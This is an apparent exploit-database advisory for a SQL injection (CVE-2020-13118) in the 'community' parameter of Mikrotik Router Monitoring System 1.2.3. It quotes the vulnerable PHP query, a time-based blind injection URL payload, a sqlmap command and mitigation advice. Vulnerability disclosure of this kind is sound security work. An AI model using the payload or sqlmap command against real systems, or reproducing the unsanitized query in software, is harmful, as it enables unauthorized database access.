Mikrotik Router Monitoring System 1.2.3 - 'community' SQL Injection

vendor:

Mikrotik Router Monitoring System

by:

jul10l1r4 (Julio Lira)

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: Mikrotik Router Monitoring System

Affected Version From: 1.2.3

Affected Version To: 1.2.3

Patch Exists: YES

Related CWE: 2020-13118

CPE: a:mikrotik:mikrotik_router_monitoring_system

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Debian 10 buster

2020

Mikrotik Router Monitoring System 1.2.3 – ‘community’ SQL Injection

SQL Injection found in check_community.php:49, where the user input is not properly sanitized before being used in a SQL query. An attacker can inject malicious SQL code into the 'community' parameter, allowing them to execute arbitrary SQL commands on the underlying database. Proof of concept can be achieved by sending a specially crafted HTTP request containing malicious SQL code, and SQLmap can be used to further exploit the vulnerability.

Mitigation:

Input validation should be used to ensure that user-supplied data is properly sanitized before being used in a SQL query. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Mikrotik Router Monitoring System 1.2.3 - 'community' SQL Injection
# Exploit Author: jul10l1r4 (Julio Lira)
# Google Dork: N/A
# Date: 2020-05-16
# Vendor Homepage: https://mikrotik.com
# Software Link: https://mikrotik.com/download
# Version: <= 1.2.3
# Tested on: Debian 10 buster
# CVE: 2020-13118
Description: SQL Injection found in check_community.php:49

$community = $_GET['community'];
$_SESSION['community'] = $community;
$query = "SELECT name from router where `community`='
$community'";

PoC:

http://localhost/check_community.php?community=1' AND (SELECT 6941 FROM (SELECT(SLEEP(10)))Qaxg) AND 'sdHI'='sdHI

SQLmap using:
sqlmap -u 'http://localhost/check_community.php?community=1' --level=5 --risk=3